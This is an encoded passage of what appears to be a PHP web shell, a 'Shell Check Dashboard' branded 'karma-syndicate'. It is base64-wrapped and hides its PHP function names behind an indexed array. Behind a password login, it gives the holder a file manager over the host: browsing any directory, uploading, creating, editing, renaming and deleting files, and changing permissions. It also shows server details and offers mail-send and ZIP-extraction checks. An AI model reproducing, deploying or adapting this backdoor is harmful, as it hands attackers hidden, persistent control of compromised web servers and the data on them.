UgPSAnJztcclxuXHJcbmlmICgkX1NFUlZFUlsnUkVRVUVTVF9NRVRIT0QnXSA9PT0gJ1BPU1QnICYmIGlzc2V0KCRfUE9TVFsncGFzc3dvcmQnXSkpIHtcclxuICAgICRwcm92aWRlZF9wYXNzd29yZCA9IHRyaW0oc3RyaXBfdGFncyhodG1sc3BlY2lhbGNoYXJzKGFkZHNsYXNoZXMoJF9QT1NUWydwYXNzd29yZCddKSkpKTtcclxuICAgIGlmICgkcHJvdmlkZWRfcGFzc3dvcmQgPT09ICR2YWxpZF9wYXNzd29yZCkge1xyXG4gICAgICAgICRfU0VTU0lPTlsnbG9nZ2VkX2luJ10gPSB0cnVlO1xyXG4gICAgfSBlbHNlIHtcclxuICAgICAgICAkbG9naW5fZXJyb3IgPSAnSW52YWxpZCBwYXNzd29yZCc7XHJcbiAgICB9XHJcbn1cclxuXHJcbmlmIChpc3NldCgkX1BPU1RbJ2FjdGlvbiddKSAmJiBpc3NldCgkX1NFU1NJT05bJ2xvZ2dlZF9pbiddKSAmJiAkX1NFU1NJT05bJ2xvZ2dlZF9pbiddID09PSB0cnVlKSB7XHJcbiAgICBzd2l0Y2ggKCRfUE9TVFsnYWN0aW9uJ10pIHtcclxuICAgICAgICBjYXNlICdjaGVja3NlbmQnOlxyXG4gICAgICAgICAgICAkZGFzaGJvYXJkX21lc3NhZ2UgPSBjaGVja1NlbmQoKSA%2FICdTZW5kOiBTdWNjZXNzJyA6ICdTZW5kOiBGYWlsZWQnO1xyXG4gICAgICAgICAgICBicmVhaztcclxuICAgICAgICBjYXNlICdjaGVja3ppcCc6XHJcbiAgICAgICAgICAgICRkYXNoYm9hcmRfbWVzc2FnZSA9IGNoZWNrWmlwKCkgPyAnWklQIEV4dHJhY3Rpb246IFN1Y2Nlc3MnIDogJ1pJUCBFeHRyYWN0aW9uOiBGYWlsZWQnO1xyXG4gICAgICAgICAgICBicmVhaztcclxuICAgICAgICBjYXNlICdsb2dvdXQnOlxyXG4gICAgICAgICAgICBzZXNzaW9uX2Rlc3Ryb3koKTtcclxuICAgICAgICAgICAgaGVhZGVyKCdMb2NhdGlvbjogJyAuIGJhc2VuYW1lKCRfU0VSVkVSWydQSFBfU0VMRiddKSk7XHJcbiAgICAgICAgICAgIGV4aXQ7XHJcbiAgICB9XHJcbn1cclxuXHJcblwvXC8gRmlsZSBtYW5hZ2VyIGhhbmRsaW5nIGZvciBkYXNoYm9hcmRcclxuJHBhdGggPSBpc3NldCgkX0dFVFsnZGlyJ10pID8gJF9HRVRbJ2RpciddIDogJGZ1bmNbMTJdKCk7IFwvXC8gZ2V0Y3dkXHJcbiRmdW5jWzEzXSgkcGF0aCk7IFwvXC8gY2hkaXJcclxuJHBhdGggPSAkZnVuY1sxNF0oJ1xcXFwnLCAnXC8nLCAkcGF0aCk7IFwvXC8gc3RyX3JlcGxhY2VcclxuJGV4ZGlyID0gJGZ1bmNbMTVdKCdcLycsICRwYXRoKTsgXC9cLyBleHBsb2RlXHJcblxyXG5pZiAoaXNzZXQoJF9QT1NUWyduZXdGb2xkZXJOYW1lJ10pKSB7XHJcbiAgICBpZiAoJGZ1bmNbMjldKCRwYXRoIC4gJ1wvJyAuICRfUE9TVFsnbmV3Rm9sZGVyTmFtZSddKSkge1xyXG4gICAgICAgICRmdW5jWzE2XShcIkNyZWF0ZSBGb2xkZXIgU3VjY2Vzc2Z1bGx5IVwiLCBcIlN1Y2Nlc3NcIiwgXCJzdWNjZXNzXCIsIFwiP2Rpcj0kcGF0aFwiKTtcclxuICAgIH0gZWxzZSB7XHJcbiAgICAgICAgJGZ1bmNbMTZdKFwiQ3JlYXRlIEZvbGRlciBGYWlsZWRcIiwgXCJGYWlsZWRcIiwgXCJlcnJvclwiLCBcIj9kaXI9JHBhdGhcIik7XHJcbiAgICB9XHJcbn1cclxuXHJcbmlmIChpc3NldCgkX1BPU1RbJ25ld0ZpbGVOYW1lJ10pICYmIGlzc2V0KCRfUE9TVFsnbmV3RmlsZUNvbnRlbnQnXSkpIHtcclxuICAgIGlmICgkZnVuY1s0XSgkcGF0aCAuICdcLycgLiAkX1BPU1RbJ25ld0ZpbGVOYW1lJ10sICRfUE9TVFsnbmV3RmlsZUNvbnRlbnQnXSkpIHtcclxuICAgICAgICAkZnVuY1sxNl0oXCJDcmVhdGUgRmlsZSBTdWNjZXNzZnVsbHkhXCIsIFwiU3VjY2Vzc1wiLCBcInN1Y2Nlc3NcIiwgXCI%2FZGlyPSRwYXRoXCIpO1xyXG4gICAgfSBlbHNlIHtcclxuICAgICAgICAkZnVuY1sxNl0oXCJDcmVhdGUgRmlsZSBGYWlsZWRcIiwgXCJGYWlsZWRcIiwgXCJlcnJvclwiLCBcIj9kaXI9JHBhdGhcIik7XHJcbiAgICB9XHJcbn1cclxuXHJcbmlmIChpc3NldCgkX1BPU1RbJ25ld05hbWUnXSkgJiYgaXNzZXQoJF9HRVRbJ2l0ZW0nXSkpIHtcclxuICAgIGlmICgkX1BPU1RbJ25ld05hbWUnXSA9PSAnJykge1xyXG4gICAgICAgICRmdW5jWzE2XShcIllvdSBtaXNzIGFuIGltcG9ydGFudCB2YWx1ZVwiLCBcIk9vb3Bzcy4uXCIsIFwid2FybmluZ1wiLCBcIj9kaXI9JHBhdGhcIik7XHJcbiAgICB9IGVsc2VpZiAoJGZ1bmNbMzBdKCRwYXRoIC4gJ1wvJyAuICRfR0VUWydpdGVtJ10sICRwYXRoIC4gJ1wvJyAuICRfUE9TVFsnbmV3TmFtZSddKSkge1xyXG4gICAgICAgICRmdW5jWzE2XShcIlJlbmFtZSBTdWNjZXNzZnVsbHkhXCIsIFwiU3VjY2Vzc1wiLCBcInN1Y2Nlc3NcIiwgXCI%2FZGlyPSRwYXRoXCIpO1xyXG4gICAgfSBlbHNlIHtcclxuICAgICAgICAkZnVuY1sxNl0oXCJSZW5hbWUgRmFpbGVkXCIsIFwiRmFpbGVkXCIsIFwiZXJyb3JcIiwgXCI%2FZGlyPSRwYXRoXCIpO1xyXG4gICAgfVxyXG59XHJcblxyXG5pZiAoaXNzZXQoJF9QT1NUWyduZXdDb250ZW50J10pICYmIGlzc2V0KCRfR0VUWydpdGVtJ10pKSB7XHJcbiAgICBpZiAoJGZ1bmNbNF0oJHBhdGggLiAnXC8nIC4gJF9HRVRbJ2l0ZW0nXSwgJF9QT1NUWyduZXdDb250ZW50J10pKSB7XHJcbiAgICAgICAgJGZ1bmNbMTZdKFwiRWRpdCBTdWNjZXNzZnVsbHkhXCIsIFwiU3VjY2Vzc1wiLCBcInN1Y2Nlc3NcIiwgXCI%2FZGlyPSRwYXRoXCIpO1xyXG4gICAgfSBlbHNlIHtcclxuICAgICAgICAkZnVuY1sxNl0oXCJFZGl0IEZhaWxlZFwiLCBcIkZhaWxlZFwiLCBcImVycm9yXCIsIFwiP2Rpcj0kcGF0aFwiKTtcclxuICAgIH1cclxufVxyXG5cclxuaWYgKGlzc2V0KCRfUE9TVFsnbmV3UGVybSddKSAmJiBpc3NldCgkX0dFVFsnaXRlbSddKSkge1xyXG4gICAgaWYgKCRfUE9TVFsnbmV3UGVybSddID09ICcnKSB7XHJcbiAgICAgICAgJGZ1bmNbMTZdKFwiWW91IG1pc3MgYW4gaW1wb3J0YW50IHZhbHVlXCIsIFwiT29vcHNzLi5cIiwgXCJ3YXJuaW5nXCIsIFwiP2Rpcj0kcGF0aFwiKTtcclxuICAgIH0gZWxzZWlmIChjaG1vZCgkcGF0aCAuICdcLycgLiAkX0dFVFsnaXRlbSddLCBvY3RkZWMoJF9QT1NUWyduZXdQZXJtJ10pKSkge1xyXG4gICAgICAgICRmdW5jWzE2XShcIkNoYW5nZSBQZXJtaXNzaW9uIFN1Y2Nlc3NmdWxseSFcIiwgXCJTdWNjZXNzXCIsIFwic3VjY2Vzc1wiLCBcIj9kaXI9JHBhdGhcIik7XHJcbiAgICB9IGVsc2Uge1xyXG4gICAgICAgICRmdW5jWzE2XShcIkNoYW5nZSBQZXJtaXNzaW9uIEZhaWxlZFwiLCBcIkZhaWxlZFwiLCBcImVycm9yXCIsIFwiP2Rpcj0kcGF0aFwiKTtcclxuICAgIH1cclxufVxyXG5cclxuaWYgKGlzc2V0KCRfR0VUWydhY3Rpb24nXSkgJiYgJF9HRVRbJ2FjdGlvbiddID09ICdkZWxldGUnICYmIGlzc2V0KCRfR0VUWydpdGVtJ10pKSB7XHJcbiAgICAkaXRlbSA9ICRwYXRoIC4gJ1wvJyAuICRfR0VUWydpdGVtJ107XHJcbiAgICBpZiAoaXNfZGlyKCRpdGVtKSkge1xyXG4gICAgICAgIGlmICgkZnVuY1syN10oJGl0ZW0pKSB7XHJcbiAgICAgICAgICAgICRmdW5jWzE2XShcIkRlbGV0ZSBTdWNjZXNzZnVsbHkhXCIsIFwiU3VjY2Vzc1wiLCBcInN1Y2Nlc3NcIiwgXCI%2FZGlyPSRwYXRoXCIpO1xyXG4gICAgICAgIH0gZWxzZSB7XHJcbiAgICAgICAgICAgICRmdW5jWzE2XShcIkRlbGV0ZSBGYWlsZWRcIiwgXCJGYWlsZWRcIiwgXCJlcnJvclwiLCBcIj9kaXI9JHBhdGhcIik7XHJcbiAgICAgICAgfVxyXG4gICAgfSBlbHNlIHtcclxuICAgICAgICBpZiAoJGZ1bmNbMjhdKCRpdGVtKSkge1xyXG4gICAgICAgICAgICAkZnVuY1sxNl0oXCJEZWxldGUgU3VjY2Vzc2Z1bGx5IVwiLCBcIlN1Y2Nlc3NcIiwgXCJzdWNjZXNzXCIsIFwiP2Rpcj0kcGF0aFwiKTtcclxuICAgICAgICB9IGVsc2Uge1xyXG4gICAgICAgICAgICAkZnVuY1sxNl0oXCJEZWxldGUgRmFpbGVkXCIsIFwiRmFpbGVkXCIsIFwiZXJyb3JcIiwgXCI%2FZGlyPSRwYXRoXCIpO1xyXG4gICAgICAgIH1cclxuICAgIH1cclxufVxyXG5cclxuaWYgKGlzc2V0KCRfRklMRVNbJ3VwbG9hZGZpbGUnXSkpIHtcclxuICAgICR0b3RhbCA9IGNvdW50KCRfRklMRVNbJ3VwbG9hZGZpbGUnXVsnbmFtZSddKTtcclxuICAgICRzdWNjZXNzID0gZmFsc2U7XHJcbiAgICBmb3IgKCRpID0gMDsgJGkgPCAkdG90YWw7ICRpKyspIHtcclxuICAgICAgICAkc3VjY2VzcyA9ICRmdW5jWzE3XSgkX0ZJTEVTWyd1cGxvYWRmaWxlJ11bJ3RtcF9uYW1lJ11bJGldLCAkcGF0aCAuICdcLycgLiAkX0ZJTEVTWyd1cGxvYWRmaWxlJ11bJ25hbWUnXVskaV0pO1xyXG4gICAgfVxyXG4gICAgaWYgKCRzdWNjZXNzKSB7XHJcbiAgICAgICAgJGZ1bmNbMTZdKFwiVXBsb2FkIFwiIC4gKCR0b3RhbCA%2BIDEgPyBcIiR0b3RhbCBGaWxlc1wiIDogXCJGaWxlXCIpIC4gXCIgU3VjY2Vzc2Z1bGx5IVwiLCBcIlN1Y2Nlc3NcIiwgXCJzdWNjZXNzXCIsIFwiP2Rpcj0kcGF0aFwiKTtcclxuICAgIH0gZWxzZSB7XHJcbiAgICAgICAgJGZ1bmNbMTZdKFwiVXBsb2FkIEZhaWxlZFwiLCBcIkZhaWxlZFwiLCBcImVycm9yXCIsIFwiP2Rpcj0kcGF0aFwiKTtcclxuICAgIH1cclxufVxyXG5cclxuJGRpcnMgPSAkZnVuY1sxOF0oJHBhdGgpOyBcL1wvIHNjYW5kaXJcclxuPz5cclxuXHJcbjwhRE9DVFlQRSBodG1sPlxyXG48aHRtbCBsYW5nPVwiZW5cIj5cclxuPGhlYWQ%2BXHJcbiAgICA8bWV0YSBjaGFyc2V0PVwiVVRGLThcIj5cclxuICAgIDxtZXRhIG5hbWU9XCJ2aWV3cG9ydFwiIGNvbnRlbnQ9XCJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wXCI%2BXHJcbiAgICA8dGl0bGU%2BU2hlbGwgQ2hlY2sgRGFzaGJvYXJkPFwvdGl0bGU%2BXHJcbiAgICA8bGluayBocmVmPVwiaHR0cHM6XC9cL2Nkbi5qc2RlbGl2ci5uZXRcL25wbVwvdGFpbHdpbmRjc3NAMi4yLjE5XC9kaXN0XC90YWlsd2luZC5taW4uY3NzXCIgcmVsPVwic3R5bGVzaGVldFwiPlxyXG4gICAgPGxpbmsgaHJlZj1cImh0dHBzOlwvXC9jZG5qcy5jbG91ZGZsYXJlLmNvbVwvYWpheFwvbGlic1wvZm9udC1hd2Vzb21lXC82LjQuMFwvY3NzXC9hbGwubWluLmNzc1wiIHJlbD1cInN0eWxlc2hlZXRcIj5cclxuICAgIDxzdHlsZT5cclxuICAgICAgICA6cm9vdCB7XHJcbiAgICAgICAgICAgIC0tcHJpbWFyeTogIzYzNjZmMTtcclxuICAgICAgICAgICAgLS1wcmltYXJ5LWRhcms6ICM0ZjQ2ZTU7XHJcbiAgICAgICAgICAgIC0tc2Vjb25kYXJ5OiAjMTBiOTgxO1xyXG4gICAgICAgICAgICAtLWJhY2tncm91bmQ6ICNmM2Y0ZjY7XHJcbiAgICAgICAgICAgIC0tY2FyZC1iZzogI2ZmZmZmZjtcclxuICAgICAgICAgICAgLS10ZXh0LXByaW1hcnk6ICMxZjI5Mzc7XHJcbiAgICAgICAgfVxyXG4gICAgICAgIGJvZHkge1xyXG4gICAgICAgICAgICBiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCAjZjNmNGY2LCAjZTVlN2ViKTtcclxuICAgICAgICAgICAgZm9udC1mYW1pbHk6ICdJbnRlcicsIHNhbnMtc2VyaWY7XHJcbiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS10ZXh0LXByaW1hcnkpO1xyXG4gICAgICAgICAgICBtaW4taGVpZ2h0OiAxMDB2aDtcclxuICAgICAgICAgICAgZGlzcGxheTogZmxleDtcclxuICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjtcclxuICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7XHJcbiAgICAgICAgfVxyXG4gICAgICAgIC5jYXJkIHtcclxuICAgICAgICAgICAgYmFja2dyb3VuZDogdmFyKC0tY2FyZC1iZyk7XHJcbiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDEuNXJlbTtcclxuICAgICAgICAgICAgYm94LXNoYWRvdzogMCAxMHB4IDIwcHggcmdiYSgwLCAwLCAwLCAwLjIpO1xyXG4gICAgICAgICAgICBwYWRkaW5nOiAycmVtO1xyXG4gICAgICAgICAgICBtYXgtd2lkdGg6IDEyMDBweDtcclxuICAgICAgICAgICAgd2lkdGg6IDEwMCU7XHJcbiAgICAgICAgICAgIHRyYW5zaXRpb246IHRyYW5zZm9ybSAwLjNzIGVhc2U7XHJcbiAgICAgICAgfVxyXG4gICAgICAgIC5jYXJkOmhvdmVyIHtcclxuICAgICAgICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVZKC01cHgpO1xyXG4gICAgICAgIH1cclxuICAgICAgICAuYnRuIHtcclxuICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogMC43NXJlbTtcclxuICAgICAgICAgICAgcGFkZGluZzogMC43NXJlbSAxLjVyZW07XHJcbiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA2MDA7XHJcbiAgICAgICAgICAgIHRyYW5zaXRpb246IGFsbCAwLjNzIGVhc2U7XHJcbiAgICAgICAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcclxuICAgICAgICAgICAgb3ZlcmZsb3c6IGhpZGRlbjtcclxuICAgICAgICB9XHJcbiAgICAgICAgLmJ0bi1wcmltYXJ5IHtcclxuICAgICAgICAgICAgYmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgdmFyKC0tcHJpbWFyeSksIHZhcigtLXByaW1hcnktZGFyaykpO1xyXG4gICAgICAgICAgICBjb2xvcjogd2hpdGU7XHJcbiAgICAgICAgfVxyXG4gICAgICAgIC5idG4tcHJpbWFyeTpob3ZlciB7XHJcbiAgICAgICAgICAgIGJhY2tncm91bmQ6IHZhcigtLXByaW1hcnktZGFyayk7XHJcbiAgICAgICAgfVxyXG4gICAgICAgIC5idG4tc2Vjb25kYXJ5IHtcclxuICAgICAgICAgICAgYmFja2dyb3VuZDogdmFyKC0tc2Vjb25kYXJ5KTtcclxuICAgICAgICAgICAgY29sb3I6IHdoaXRlO1xyXG4gICAgICAgIH1cclxuICAgICAgICAuYnRuLXNlY29uZGFyeTpob3ZlciB7XHJcbiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMwNTk2Njk7XHJcbiAgICAgICAgfVxyXG4gICAgICAgIC5idG4tZGFuZ2VyIHtcclxuICAgICAgICAgICAgYmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgI2VmNDQ0NCwgI2RjMjYyNik7XHJcbiAgICAgICAgICAgIGNvbG9yOiB3aGl0ZTtcclxuICAgICAgICB9XHJcbiAgICAgICAgLmJ0bi1kYW5nZXI6aG92ZXIge1xyXG4gICAgICAgICAgICBiYWNrZ3JvdW5kOiAjYjkxYzFjO1xyXG4gICAgICAgIH1cclxuICAgICAgICAuZm9ybS1jb250cm9sIHtcclxuICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogMC43NXJlbTtcclxuICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2QxZDVkYjtcclxuICAgICAgICAgICAgcGFkZGluZzogMC43NXJlbTtcclxuICAgICAgICAgICAgdHJhbnNpdGlvbjogYWxsIDAuM3MgZWFzZTtcclxuICAgICAgICB9XHJcbiAgICAgICAgLmZvcm0tY29udHJvbDpmb2N1cyB7XHJcbiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogdmFyKC0tcHJpbWFyeSk7XHJcbiAgICAgICAgICAgIGJveC1zaGFkb3c6IDAgMCAwIDRweCByZ2JhKDk5LCAxMDIsIDI0MSwgMC4yKTtcclxuICAgICAgICAgICAgb3V0bGluZTogbm9uZTtcclxuICAgICAgICB9XHJcbiAgICAgICAgLmFsZXJ0IHtcclxuICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogMC43NXJlbTtcclxuICAgICAgICAgICAgcGFkZGluZzogMXJlbTtcclxuICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMXJlbTtcclxuICAgICAgICAgICAgYmFja2dyb3VuZDogI2ZlZjJmMjtcclxuICAgICAgICAgICAgY29sb3I6ICNiOTFjMWM7XHJcbiAgICAgICAgICAgIGJvcmRlci1sZWZ0OiA0cHggc29saWQgI2VmNDQ0NDtcclxuICAgICAgICB9XHJcbiAgICAgICAgLnN1Y2Nlc3Mge1xyXG4gICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZDFmYWU1O1xyXG4gICAgICAgICAgICBjb2xvcjogIzA2NWY0NjtcclxuICAgICAgICAgICAgYm9yZGVyLWxlZnQ6IDRweCBzb2xpZCB2YXIoLS1zZWNvbmRhcnkpO1xyXG4gICAgICAgIH1cclxuICAgICAgICAudGFibGUgdGgsIC50YWJsZSB0ZCB7XHJcbiAgICAgICAgICAgIHBhZGRpbmc6IDFyZW07XHJcbiAgICAgICAgICAgIHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7XHJcbiAgICAgICAgfVxyXG4gICAgICAgIC50YWJsZSB0aGVhZCB7XHJcbiAgICAgICAgICAgIGJhY2tncm91bmQ6IGxpbmVhci1ncmFkaWVudCgxMzVkZWcsIHZhcigtLXByaW1hcnkpLCB2YXIoLS1wcmltYXJ5LWRhcmspKTtcclxuICAgICAgICAgICAgY29sb3I6IHdoaXRlO1xyXG4gICAgICAgIH1cclxuICAgICAgICAudGFibGUgdGJvZHkgdHI6aG92ZXIge1xyXG4gICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZjFmNWY5O1xyXG4gICAgICAgIH1cclxuICAgICAgICAuYnJlYWRjcnVtYiBhOmhvdmVyIHtcclxuICAgICAgICAgICAgY29sb3I6IHZhcigtLXByaW1hcnkpO1xyXG4gICAgICAgIH1cclxuICAgIDxcL3N0eWxlPlxyXG48XC9oZWFkPlxyXG48Ym9keT5cclxuICAgIDw%2FcGhwIGlmICghaXNzZXQoJF9TRVNTSU9OWydsb2dnZWRfaW4nXSkgfHwgJF9TRVNTSU9OWydsb2dnZWRfaW4nXSAhPT0gdHJ1ZSk6ID8%2BXHJcbiAgICAgICAgPCEtLSBMb2dpbiBJbnRlcmZhY2UgLS0%2BXHJcbiAgICAgICAgPGRpdiBjbGFzcz1cImNhcmRcIj5cclxuICAgICAgICAgICAgPGgxIGNsYXNzPVwidGV4dC0yeGwgZm9udC1ib2xkIHRleHQtY2VudGVyIG1iLTZcIj5TaGVsbCBDaGVjayBMb2dpbjxcL2gxPlxyXG4gICAgICAgICAgICA8P3BocCBpZiAoJGxvZ2luX2Vycm9yKTogPz5cclxuICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJhbGVydFwiPjw%2FcGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkbG9naW5fZXJyb3IpOyA%2FPjxcL2Rpdj5cclxuICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8%2BXHJcbiAgICAgICAgICAgIDxmb3JtIG1ldGhvZD1cIlBPU1RcIiBjbGFzcz1cInNwYWNlLXktNFwiPlxyXG4gICAgICAgICAgICAgICAgPGRpdj5cclxuICAgICAgICAgICAgICAgICAgICA8bGFiZWwgY2xhc3M9XCJibG9jayB0ZXh0LXNtIGZvbnQtbWVkaXVtIHRleHQtZ3JheS03MDAgbWItMVwiPlBhc3N3b3JkPFwvbGFiZWw%2BXHJcbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJwYXNzd29yZFwiIG5hbWU9XCJwYXNzd29yZFwiIGNsYXNzPVwiZm9ybS1jb250cm9sIHctZnVsbFwiIHBsYWNlaG9sZGVyPVwiRW50ZXIgcGFzc3dvcmRcIiByZXF1aXJlZD5cclxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cclxuICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1wcmltYXJ5IHctZnVsbFwiPlxyXG4gICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPVwiZmFzIGZhLXNpZ24taW4tYWx0IG1yLTJcIj48XC9pPiBMb2dpblxyXG4gICAgICAgICAgICAgICAgPFwvYnV0dG9uPlxyXG4gICAgICAgICAgICA8XC9mb3JtPlxyXG4gICAgICAgIDxcL2Rpdj5cclxuICAgIDw%2FcGhwIGVsc2U6ID8%2BXHJcbiAgICAgICAgPCEtLSBEYXNoYm9hcmQgLS0%2BXHJcbiAgICAgICAgPGRpdiBjbGFzcz1cImNhcmRcIj5cclxuICAgICAgICAgICAgPGgxIGNsYXNzPVwidGV4dC0yeGwgZm9udC1ib2xkIHRleHQtY2VudGVyIG1iLTZcIj5TaGVsbCBDaGVjayBEYXNoYm9hcmQ8XC9oMT5cclxuICAgICAgICAgICAgPD9waHAgaWYgKCRkYXNoYm9hcmRfbWVzc2FnZSk6ID8%2BXHJcbiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiYWxlcnQgPD9waHAgZWNobyBzdHJwb3MoJGRhc2hib2FyZF9tZXNzYWdlLCAnU3VjY2VzcycpICE9PSBmYWxzZSA%2FICdzdWNjZXNzJyA6ICcnOyA%2FPlwiPlxyXG4gICAgICAgICAgICAgICAgICAgIDw%2FcGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZGFzaGJvYXJkX21lc3NhZ2UpOyA%2FPlxyXG4gICAgICAgICAgICAgICAgPFwvZGl2PlxyXG4gICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cclxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cImdyaWQgZ3JpZC1jb2xzLTEgc206Z3JpZC1jb2xzLTIgZ2FwLTQgbWItNlwiPlxyXG4gICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPVwiUE9TVFwiPlxyXG4gICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImFjdGlvblwiIHZhbHVlPVwiY2hlY2tzZW5kXCI%2BXHJcbiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG4gYnRuLXNlY29uZGFyeSB3LWZ1bGxcIj5cclxuICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9XCJmYXMgZmEtZW52ZWxvcGUgbXItMlwiPjxcL2k%2BIENoZWNrIFNlbmRcclxuICAgICAgICAgICAgICAgICAgICA8XC9idXR0b24%2BXHJcbiAgICAgICAgICAgICAgICA8XC9mb3JtPlxyXG4gICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPVwiUE9TVFwiPlxyXG4gICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImFjdGlvblwiIHZhbHVlPVwiY2hlY2t6aXBcIj5cclxuICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0biBidG4tcHJpbWFyeSB3LWZ1bGxcIj5cclxuICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9XCJmYXMgZmEtZmlsZS1hcmNoaXZlIG1yLTJcIj48XC9pPiBDaGVjayBaSVBcclxuICAgICAgICAgICAgICAgICAgICA8XC9idXR0b24%2BXHJcbiAgICAgICAgICAgICAgICA8XC9mb3JtPlxyXG4gICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPVwiUE9TVFwiPlxyXG4gICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImFjdGlvblwiIHZhbHVlPVwibG9nb3V0XCI%2BXHJcbiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG4gYnRuLWRhbmdlciB3LWZ1bGxcIj5cclxuICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9XCJmYXMgZmEtc2lnbi1vdXQtYWx0IG1yLTJcIj48XC9pPiBMb2dvdXRcclxuICAgICAgICAgICAgICAgICAgICA8XC9idXR0b24%2BXHJcbiAgICAgICAgICAgICAgICA8XC9mb3JtPlxyXG4gICAgICAgICAgICA8XC9kaXY%2BXHJcbiAgICAgICAgICAgIDwhLS0gRmlsZSBNYW5hZ2VyIC0tPlxyXG4gICAgICAgICAgICA8aDIgY2xhc3M9XCJ0ZXh0LXhsIGZvbnQtc2VtaWJvbGQgbWItNFwiPkZpbGUgTWFuYWdlcjxcL2gyPlxyXG4gICAgICAgICAgICA8P3BocCBpZiAoaXNzZXQoJF9TRVNTSU9OWydtZXNzYWdlJ10pKTogPz5cclxuICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJhbGVydCA8P3BocCBlY2hvICRfU0VTU0lPTlsnY2xhc3MnXSA9PT0gJ3N1Y2Nlc3MnID8gJ3N1Y2Nlc3MnIDogJyc7ID8%2BXCI%2BXHJcbiAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRfU0VTU0lPTlsnbWVzc2FnZSddKTsgPz5cclxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cclxuICAgICAgICAgICAgICAgIDw%2FcGhwIGNsZWFyKCk7ID8%2BXHJcbiAgICAgICAgICAgIDw%2FcGhwIGVuZGlmOyA%2FPlxyXG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiaW5mbyBtYi0zXCI%2BXHJcbiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwidGV4dC1jZW50ZXIgdGV4dC1sZyBmb250LW1lZGl1bVwiPmthcm1hLXN5bmRpY2F0ZTxcL2Rpdj5cclxuICAgICAgICAgICAgICAgIDxkaXY%2BPGkgY2xhc3M9XCJmYXMgZmEtc2VydmVyIG1yLTJcIj48XC9pPjw%2FcGhwIGVjaG8gJGZ1bmNbMF0oKTsgPz48XC9kaXY%2BXHJcbiAgICAgICAgICAgICAgICA8ZGl2PjxpIGNsYXNzPVwiZmFzIGZhLW1pY3JvY2hpcCBtci0yXCI%2BPFwvaT48P3BocCBlY2hvICRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXTsgPz48XC9kaXY%2BXHJcbiAgICAgICAgICAgICAgICA8ZGl2PjxpIGNsYXNzPVwiZmFzIGZhLXNhdGVsbGl0ZS1kaXNoIG1yLTJcIj48XC9pPjw%2FcGhwIGVjaG8gIUAkX1NFUlZFUlsnU0VSVkVSX0FERFInXSA%2FICRmdW5jWzE5XSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkgOiBAJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ107ID8%2BPFwvZGl2PlxyXG4gICAgICAgICAgICA8XC9kaXY%2BXHJcbiAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJicmVhZGNydW1iIG1iLTRcIj5cclxuICAgICAgICAgICAgICAgIDxpIGNsYXNzPVwiZmFzIGZhLWZvbGRlciBtci0yXCI%2BPFwvaT5cclxuICAgICAgICAgICAgICAgIDw%2FcGhwIGZvcmVhY2ggKCRleGRpciBhcyAkaWQgPT4gJHBhdCk6ID8%2BXHJcbiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCRwYXQgPT0gJycgJiYgJGlkID09IDApOiA%2FPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiP2Rpcj1cL1wiIG